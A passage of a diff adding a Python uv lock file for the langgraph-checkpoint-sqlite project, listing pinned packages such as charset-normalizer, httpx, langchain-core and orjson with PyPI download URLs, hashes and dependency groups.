"2025-10-14T04:41:13.346Z" }, + { url = "https://files.pythonhosted.org/packages/7d/62/73a6d7450829655a35bb88a88fca7d736f9882a27eacdca2c6d505b57e2e/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b39f987ae8ccdf0d2642338faf2abb1862340facc796048b604ef14919e55ed", size = 147936, upload-time = "2025-10-14T04:41:14.461Z" }, + { url = "https://files.pythonhosted.org/packages/89/c5/adb8c8b3d6625bef6d88b251bbb0d95f8205831b987631ab0c8bb5d937c2/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3162d5d8ce1bb98dd51af660f2121c55d0fa541b46dff7bb9b9f86ea1d87de72", size = 144180, upload-time = "2025-10-14T04:41:15.588Z" }, + { url = "https://files.pythonhosted.org/packages/91/ed/9706e4070682d1cc219050b6048bfd293ccf67b3d4f5a4f39207453d4b99/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:81d5eb2a312700f4ecaa977a8235b634ce853200e828fbadf3a9c50bab278328", size = 161346, upload-time = "2025-10-14T04:41:16.738Z" }, + { url = "https://files.pythonhosted.org/packages/d5/0d/031f0d95e4972901a2f6f09ef055751805ff541511dc1252ba3ca1f80cf5/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5bd2293095d766545ec1a8f612559f6b40abc0eb18bb2f5d1171872d34036ede", size = 158874, upload-time = "2025-10-14T04:41:17.923Z" }, + { url = "https://files.pythonhosted.org/packages/f5/83/6ab5883f57c9c801ce5e5677242328aa45592be8a00644310a008d04f922/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a8a8b89589086a25749f471e6a900d3f662d1d3b6e2e59dcecf787b1cc3a1894", size = 153076, upload-time = "2025-10-14T04:41:19.106Z" }, + { url = "https://files.pythonhosted.org/packages/75/1e/5ff781ddf5260e387d6419959ee89ef13878229732732ee73cdae01800f2/charset_normalizer-3.4.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc7637e2f80d8530ee4a78e878bce464f70087ce73cf7c1caf142416923b98f1", size = 150601, upload-time = "2025-10-14T04:41:20.245Z" }, + { url = "https://files.pythonhosted.org/packages/d7/57/71be810965493d3510a6ca79b90c19e48696fb1ff964da319334b12677f0/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f8bf04158c6b607d747e93949aa60618b61312fe647a6369f88ce2ff16043490", size = 150376, upload-time = "2025-10-14T04:41:21.398Z" }, + { url = "https://files.pythonhosted.org/packages/e5/d5/c3d057a78c181d007014feb7e9f2e65905a6c4ef182c0ddf0de2924edd65/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:554af85e960429cf30784dd47447d5125aaa3b99a6f0683589dbd27e2f45da44", size = 144825, upload-time = "2025-10-14T04:41:22.583Z" }, + { url = "https://files.pythonhosted.org/packages/e6/8c/d0406294828d4976f275ffbe66f00266c4b3136b7506941d87c00cab5272/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:74018750915ee7ad843a774364e13a3db91682f26142baddf775342c3f5b1133", size = 162583, upload-time = "2025-10-14T04:41:23.754Z" }, + { url = "https://files.pythonhosted.org/packages/d7/24/e2aa1f18c8f15c4c0e932d9287b8609dd30ad56dbe41d926bd846e22fb8d/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:c0463276121fdee9c49b98908b3a89c39be45d86d1dbaa22957e38f6321d4ce3", size = 150366, upload-time = "2025-10-14T04:41:25.27Z" }, + { url = "https://files.pythonhosted.org/packages/e4/5b/1e6160c7739aad1e2df054300cc618b06bf784a7a164b0f238360721ab86/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:362d61fd13843997c1c446760ef36f240cf81d3ebf74ac62652aebaf7838561e", size = 160300, upload-time = "2025-10-14T04:41:26.725Z" }, + { url = "https://files.pythonhosted.org/packages/7a/10/f882167cd207fbdd743e55534d5d9620e095089d176d55cb22d5322f2afd/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9a26f18905b8dd5d685d6d07b0cdf98a79f3c7a918906af7cc143ea2e164c8bc", size = 154465, upload-time = "2025-10-14T04:41:28.322Z" }, + { url = "https://files.pythonhosted.org/packages/89/66/c7a9e1b7429be72123441bfdbaf2bc13faab3f90b933f664db506dea5915/charset_normalizer-3.4.4-cp313-cp313-win32.whl", hash = "sha256:9b35f4c90079ff2e2edc5b26c0c77925e5d2d255c42c74fdb70fb49b172726ac", size = 99404, upload-time = "2025-10-14T04:41:29.95Z" }, + { url = "https://files.pythonhosted.org/packages/c4/26/b9924fa27db384bdcd97ab83b4f0a8058d96ad9626ead570674d5e737d90/charset_normalizer-3.4.4-cp313-cp313-win_amd64.whl", hash = "sha256:b435cba5f4f750aa6c0a0d92c541fb79f69a387c91e61f1795227e4ed9cece14", size = 107092, upload-time = "2025-10-14T04:41:31.188Z" }, + { url = "https://files.pythonhosted.org/packages/af/8f/3ed4bfa0c0c72a7ca17f0380cd9e4dd842b09f664e780c13cff1dcf2ef1b/charset_normalizer-3.4.4-cp313-cp313-win_arm64.whl", hash = "sha256:542d2cee80be6f80247095cc36c418f7bddd14f4a6de45af91dfad36d817bba2", size = 100408, upload-time = "2025-10-14T04:41:32.624Z" }, + { url = "https://files.pythonhosted.org/packages/2a/35/7051599bd493e62411d6ede36fd5af83a38f37c4767b92884df7301db25d/charset_normalizer-3.4.4-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:da3326d9e65ef63a817ecbcc0df6e94463713b754fe293eaa03da99befb9a5bd", size = 207746, upload-time = "2025-10-14T04:41:33.773Z" }, + { url = "https://files.pythonhosted.org/packages/10/9a/97c8d48ef10d6cd4fcead2415523221624bf58bcf68a802721a6bc807c8f/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8af65f14dc14a79b924524b1e7fffe304517b2bff5a58bf64f30b98bbc5079eb", size = 147889, upload-time = "2025-10-14T04:41:34.897Z" }, + { url = "https://files.pythonhosted.org/packages/10/bf/979224a919a1b606c82bd2c5fa49b5c6d5727aa47b4312bb27b1734f53cd/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74664978bb272435107de04e36db5a9735e78232b85b77d45cfb38f758efd33e", size = 143641, upload-time = "2025-10-14T04:41:36.116Z" }, + { url = "https://files.pythonhosted.org/packages/ba/33/0ad65587441fc730dc7bd90e9716b30b4702dc7b617e6ba4997dc8651495/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:752944c7ffbfdd10c074dc58ec2d5a8a4cd9493b314d367c14d24c17684ddd14", size = 160779, upload-time = "2025-10-14T04:41:37.229Z" }, + { url = "https://files.pythonhosted.org/packages/67/ed/331d6b249259ee71ddea93f6f2f0a56cfebd46938bde6fcc6f7b9a3d0e09/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d1f13550535ad8cff21b8d757a3257963e951d96e20ec82ab44bc64aeb62a191", size = 159035, upload-time = "2025-10-14T04:41:38.368Z" }, + { url = "https://files.pythonhosted.org/packages/67/ff/f6b948ca32e4f2a4576aa129d8bed61f2e0543bf9f5f2b7fc3758ed005c9/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ecaae4149d99b1c9e7b88bb03e3221956f68fd6d50be2ef061b2381b61d20838", size = 152542, upload-time = "2025-10-14T04:41:39.862Z" }, + { url = "https://files.pythonhosted.org/packages/16/85/276033dcbcc369eb176594de22728541a925b2632f9716428c851b149e83/charset_normalizer-3.4.4-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:cb6254dc36b47a990e59e1068afacdcd02958bdcce30bb50cc1700a8b9d624a6", size = 149524, upload-time = "2025-10-14T04:41:41.319Z" }, + { url = "https://files.pythonhosted.org/packages/9e/f2/6a2a1f722b6aba37050e626530a46a68f74e63683947a8acff92569f979a/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c8ae8a0f02f57a6e61203a31428fa1d677cbe50c93622b4149d5c0f319c1d19e", size = 150395, upload-time = "2025-10-14T04:41:42.539Z" }, + { url = "https://files.pythonhosted.org/packages/60/bb/2186cb2f2bbaea6338cad15ce23a67f9b0672929744381e28b0592676824/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:47cc91b2f4dd2833fddaedd2893006b0106129d4b94fdb6af1f4ce5a9965577c", size = 143680, upload-time = "2025-10-14T04:41:43.661Z" }, + { url = "https://files.pythonhosted.org/packages/7d/a5/bf6f13b772fbb2a90360eb620d52ed8f796f3c5caee8398c3b2eb7b1c60d/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:82004af6c302b5d3ab2cfc4cc5f29db16123b1a8417f2e25f9066f91d4411090", size = 162045, upload-time = "2025-10-14T04:41:44.821Z" }, + { url = "https://files.pythonhosted.org/packages/df/c5/d1be898bf0dc3ef9030c3825e5d3b83f2c528d207d246cbabe245966808d/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:2b7d8f6c26245217bd2ad053761201e9f9680f8ce52f0fcd8d0755aeae5b2152", size = 149687, upload-time = "2025-10-14T04:41:46.442Z" }, + { url = "https://files.pythonhosted.org/packages/a5/42/90c1f7b9341eef50c8a1cb3f098ac43b0508413f33affd762855f67a410e/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:799a7a5e4fb2d5898c60b640fd4981d6a25f1c11790935a44ce38c54e985f828", size = 160014, upload-time = "2025-10-14T04:41:47.631Z" }, + { url = "https://files.pythonhosted.org/packages/76/be/4d3ee471e8145d12795ab655ece37baed0929462a86e72372fd25859047c/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:99ae2cffebb06e6c22bdc25801d7b30f503cc87dbd283479e7b606f70aff57ec", size = 154044, upload-time = "2025-10-14T04:41:48.81Z" }, + { url = "https://files.pythonhosted.org/packages/b0/6f/8f7af07237c34a1defe7defc565a9bc1807762f672c0fde711a4b22bf9c0/charset_normalizer-3.4.4-cp314-cp314-win32.whl", hash = "sha256:f9d332f8c2a2fcbffe1378594431458ddbef721c1769d78e2cbc06280d8155f9", size = 99940, upload-time = "2025-10-14T04:41:49.946Z" }, + { url = "https://files.pythonhosted.org/packages/4b/51/8ade005e5ca5b0d80fb4aff72a3775b325bdc3d27408c8113811a7cbe640/charset_normalizer-3.4.4-cp314-cp314-win_amd64.whl", hash = "sha256:8a6562c3700cce886c5be75ade4a5db4214fda19fede41d9792d100288d8f94c", size = 107104, upload-time = "2025-10-14T04:41:51.051Z" }, + { url = "https://files.pythonhosted.org/packages/da/5f/6b8f83a55bb8278772c5ae54a577f3099025f9ade59d0136ac24a0df4bde/charset_normalizer-3.4.4-cp314-cp314-win_arm64.whl", hash = "sha256:de00632ca48df9daf77a2c65a484531649261ec9f25489917f09e455cb09ddb2", size = 100743, upload-time = "2025-10-14T04:41:52.122Z" }, + { url = "https://files.pythonhosted.org/packages/0a/4c/925909008ed5a988ccbb72dcc897407e5d6d3bd72410d69e051fc0c14647/charset_normalizer-3.4.4-py3-none-any.whl", hash = "sha256:7a32c560861a02ff789ad905a2fe94e3f840803362c84fecf1851cb4cf3dc37f", size = 53402, upload-time = "2025-10-14T04:42:31.76Z" }, +] + +[[package]] +name = "codespell" +version = "2.4.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/2d/9d/1d0903dff693160f893ca6abcabad545088e7a2ee0a6deae7c24e958be69/codespell-2.4.2.tar.gz", hash = "sha256:3c33be9ae34543807f088aeb4832dfad8cb2dae38da61cac0a7045dd376cfdf3", size = 352058, upload-time = "2026-03-05T18:10:42.936Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/42/a1/52fa05533e95fe45bcc09bcf8a503874b1c08f221a4e35608017e0938f55/codespell-2.4.2-py3-none-any.whl", hash = "sha256:97e0c1060cf46bd1d5db89a936c98db8c2b804e1fdd4b5c645e82a1ec6b1f886", size = 353715, upload-time = "2026-03-05T18:10:41.398Z" }, +] + +[[package]] +name = "colorama" +version = "0.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" }, +] + +[[package]] +name = "exceptiongroup" +version = "1.3.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/50/79/66800aadf48771f6b62f7eb014e352e5d06856655206165d775e675a02c9/exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219", size = 30371, upload-time = "2025-11-21T23:01:54.787Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8a/0e/97c33bf5009bdbac74fd2beace167cab3f978feb69cc36f1ef79360d6c4e/exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598", size = 16740, upload-time = "2025-11-21T23:01:53.443Z" }, +] + +[[package]] +name = "h11" +version = "0.16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" }, +] + +[[package]] +name = "httpcore" +version = "1.0.9" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" }, +] + +[[package]] +name = "httpx" +version = "0.28.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "certifi" }, + { name = "httpcore" }, + { name = "idna" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" }, +] + +[[package]] +name = "idna" +version = "3.15" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/82/77/7b3966d0b9d1d31a36ddf1746926a11dface89a83409bf1483f0237aa758/idna-3.15.tar.gz", hash = "sha256:ca962446ea538f7092a95e057da437618e886f4d349216d2b1e294abfdb65fdc", size = 199245, upload-time = "2026-05-12T22:45:57.011Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d2/23/408243171aa9aaba178d3e2559159c24c1171a641aa83b67bdd3394ead8e/idna-3.15-py3-none-any.whl", hash = "sha256:048adeaf8c2d788c40fee287673ccaa74c24ffd8dcf09ffa555a2fbb59f10ac8", size = 72340, upload-time = "2026-05-12T22:45:55.733Z" }, +] + +[[package]] +name = "iniconfig" +version = "2.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20503, upload-time = "2025-10-18T21:55:43.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 7484, upload-time = "2025-10-18T21:55:41.639Z" }, +] + +[[package]] +name = "jsonpatch" +version = "1.33" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jsonpointer" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/42/78/18813351fe5d63acad16aec57f94ec2b70a09e53ca98145589e185423873/jsonpatch-1.33.tar.gz", hash = "sha256:9fcd4009c41e6d12348b4a0ff2563ba56a2923a7dfee731d004e212e1ee5030c", size = 21699, upload-time = "2023-06-26T12:07:29.144Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/73/07/02e16ed01e04a374e644b575638ec7987ae846d25ad97bcc9945a3ee4b0e/jsonpatch-1.33-py2.py3-none-any.whl", hash = "sha256:0ae28c0cd062bbd8b8ecc26d7d164fbbea9652a1a3693f3b956c1eae5145dade", size = 12898, upload-time = "2023-06-16T21:01:28.466Z" }, +] + +[[package]] +name = "jsonpointer" +version = "3.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6a/0a/eebeb1fa92507ea94016a2a790b93c2ae41a7e18778f85471dc54475ed25/jsonpointer-3.0.0.tar.gz", hash = "sha256:2b2d729f2091522d61c3b31f82e11870f60b68f43fbc705cb76bf4b832af59ef", size = 9114, upload-time = "2024-06-10T19:24:42.462Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/71/92/5e77f98553e9e75130c78900d000368476aed74276eb8ae8796f65f00918/jsonpointer-3.0.0-py2.py3-none-any.whl", hash = "sha256:13e088adc14fca8b6aa8177c044e12701e6ad4b28ff10e65f2267a90109c9942", size = 7595, upload-time = "2024-06-10T19:24:40.698Z" }, +] + +[[package]] +name = "langchain-core" +version = "1.4.8" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jsonpatch" }, + { name = "langchain-protocol" }, + { name = "langsmith" }, + { name = "packaging" }, + { name = "pydantic" }, + { name = "pyyaml" }, + { name = "tenacity" }, + { name = "typing-extensions" }, + { name = "uuid-utils" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/12/e3/bea6d0080acf183332f24dcd74c208aee5857cf8f783c3fb0bd86027d8fb/langchain_core-1.4.8.tar.gz", hash = "sha256:5bf1f8411077c904182ad8f975943d36adcbf579c4e017b3a118b719229ebf9a", size = 957974, upload-time = "2026-06-18T19:39:23.636Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/13/d6/bdf6f0481cc57ef300d6b1eb48cf1400c0409be715d6eb3cabadd1142a09/langchain_core-1.4.8-py3-none-any.whl", hash = "sha256:d84c28b05e3ba8d4271d0827aad5b592ccdaaf986e76768c23503f0a2045e8aa", size = 557416, upload-time = "2026-06-18T19:39:21.902Z" }, +] + +[[package]] +name = "langchain-protocol" +version = "0.0.18" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/d2/59/b5959aea96faa9146e2e49a7a22882b3528c62efafe9a6a95beab30c2305/langchain_protocol-0.0.18.tar.gz", hash = "sha256:ec3e11782f1ed0c9db38e5a9ed01b0e7a0d3fba406faa8aef6594b73c56a63e6", size = 6150, upload-time = "2026-06-18T17:08:26.959Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/99/2e/d82db9eec13ad0f72e7aaad5c4bc730ab111934fdc83c85523206eb9b0a0/langchain_protocol-0.0.18-py3-none-any.whl", hash = "sha256:70b53a86fbf9cedc863555effe44da192ab02d556ddbf2cf95b8873adcf41b5a", size = 7221, upload-time = "2026-06-18T17:08:25.996Z" }, +] + +[[package]] +name = "langgraph-checkpoint" +version = "4.1.1" +source = { editable = "../checkpoint" } +dependencies = [ + { name = "langchain-core" }, + { name = "ormsgpack" }, +] + +[package.metadata] +requires-dist = [ + { name = "langchain-core", specifier = ">=0.2.38" }, + { name = "ormsgpack", specifier = ">=1.12.0" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "codespell" }, + { name = "dataclasses-json" }, + { name = "numpy" }, + { name = "pandas" }, + { name = "pandas-stubs", specifier = ">=2.2.2.240807" }, + { name = "pycryptodome", specifier = ">=3.23.0" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "redis" }, + { name = "ruff" }, + { name = "ty" }, +] +lint = [ + { name = "codespell" }, + { name = "ruff" }, + { name = "ty" }, +] +test = [ + { name = "dataclasses-json" }, + { name = "numpy" }, + { name = "pandas" }, + { name = "pandas-stubs", specifier = ">=2.2.2.240807" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "redis" }, +] + +[[package]] +name = "langgraph-checkpoint-sqlite" +version = "3.1.0" +source = { editable = "." } +dependencies = [ + { name = "aiosqlite" }, + { name = "langgraph-checkpoint" }, + { name = "sqlite-vec" }, +] + +[package.dev-dependencies] +dev = [ + { name = "codespell" }, + { name = "langgraph-checkpoint" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-retry" }, + { name = "pytest-watcher" }, + { name = "ruff" }, + { name = "ty" }, +] +lint = [ + { name = "codespell" }, + { name = "ruff" }, + { name = "ty" }, +] +test = [ + { name = "langgraph-checkpoint" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-retry" }, + { name = "pytest-watcher" }, +] + +[package.metadata] +requires-dist = [ + { name = "aiosqlite", specifier = ">=0.20" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "sqlite-vec", specifier = ">=0.1.6" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "codespell" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-retry", specifier = ">=1.7.0" }, + { name = "pytest-watcher" }, + { name = "ruff" }, + { name = "ty" }, +] +lint = [ + { name = "codespell" }, + { name = "ruff" }, + { name = "ty" }, +] +test = [ + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-retry", specifier = ">=1.7.0" }, + { name = "pytest-watcher" }, +] + +[[package]] +name = "langsmith" +version = "0.8.18" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "httpx" }, + { name = "orjson", marker = "platform_python_implementation != 'PyPy'" }, + { name = "packaging" }, + { name = "pydantic" }, + { name = "requests" }, + { name = "requests-toolbelt" }, + { name = "uuid-utils" }, + { name = "websockets" }, + { name = "xxhash" }, + { name = "zstandard" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/9a/d9/a6681aa9847bbbc5ec21abe20a5e233b94e5edcfe39624db607ac7e8ccb4/langsmith-0.8.18.tar.gz", hash = "sha256:32dde9c0e67e053e0fb738921fc8ced768af7b8fa83d7a0e3fd63597cf8776dd", size = 4526988, upload-time = "2026-06-19T13:12:17.123Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/03/70/0e0cc80a3b064c8d6c8d697c3125ed86e39d5a7393ec6dc8b07cb1cf13c4/langsmith-0.8.18-py3-none-any.whl", hash = "sha256:3940183349993faef48e6c7d08e4822ee9cefd906b362d0e3c2d650314d2f282", size = 508108, upload-time = "2026-06-19T13:12:15.348Z" }, +] + +[[package]] +name = "orjson" +version = "3.11.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/70/a3/4e09c61a5f0c521cba0bb433639610ae037437669f1a4cbc93799e731d78/orjson-3.11.6.tar.gz", hash = "sha256:0a54c72259f35299fd033042367df781c2f66d10252955ca1efb7db309b954cb", size = 6175856, upload-time = "2026-01-29T15:13:07.942Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/30/3c/098ed0e49c565fdf1ccc6a75b190115d1ca74148bf5b6ab036554a550650/orjson-3.11.6-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:a613fc37e007143d5b6286dccb1394cd114b07832417006a02b620ddd8279e37", size = 250411, upload-time = "2026-01-29T15:11:17.941Z" }, + { url = "https://files.pythonhosted.org/packages/15/7c/cb11a360fd228ceebade03b1e8e9e138dd4b1b3b11602b72dbdad915aded/orjson-3.11.6-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:46ebee78f709d3ba7a65384cfe285bb0763157c6d2f836e7bde2f12d33a867a2", size = 138147, upload-time = "2026-01-29T15:11:19.659Z" }, + { url = "https://files.pythonhosted.org/packages/4e/4b/e57b5c45ffe69fbef7cbd56e9f40e2dc0d5de920caafefcc6981d1a7efc5/orjson-3.11.6-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a726fa86d2368cd57990f2bd95ef5495a6e613b08fc9585dfe121ec758fb08d1", size = 135110, upload-time = "2026-01-29T15:11:21.231Z" }, + { url = "https://files.pythonhosted.org/packages/b0/6e/4f21c6256f8cee3c0c69926cf7ac821cfc36f218512eedea2e2dc4a490c8/orjson-3.11.6-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:150f12e59d6864197770c78126e1a6e07a3da73d1728731bf3bc1e8b96ffdbe6", size = 140995, upload-time = "2026-01-29T15:11:22.902Z" }, + { url = "https://files.pythonhosted.org/packages/d0/78/92c36205ba2f6094ba1eea60c8e646885072abe64f155196833988c14b74/orjson-3.11.6-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9a2d9746a5b5ce20c0908ada451eb56da4ffa01552a50789a0354d8636a02953", size = 144435, upload-time = "2026-01-29T15:11:24.124Z" }, + { url = "https://files.pythonhosted.org/packages/4d/52/1b518d164005811eb3fea92650e76e7d9deadb0b41e92c483373b1e82863/orjson-3.11.6-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:afd177f5dd91666d31e9019f1b06d2fcdf8a409a1637ddcb5915085dede85680", size = 142734, upload-time = "2026-01-29T15:11:25.708Z" }, + { url = "https://files.pythonhosted.org/packages/4b/11/60ea7885a2b7c1bf60ed8b5982356078a73785bd3bab392041a5bcf8de7c/orjson-3.11.6-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8d777ec41a327bd3b7de97ba7bce12cc1007815ca398e4e4de9ec56c022c090b", size = 145802, upload-time = "2026-01-29T15:11:26.917Z" }, + { url = "https://files.pythonhosted.org/packages/41/7f/15a927e7958fd4f7560fb6dbb9346bee44a168e40168093c46020d866098/orjson-3.11.6-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f3a135f83185c87c13ff231fcb7dbb2fa4332a376444bd65135b50ff4cc5265c", size = 147504, upload-time = "2026-01-29T15:11:28.07Z" }, + { url = 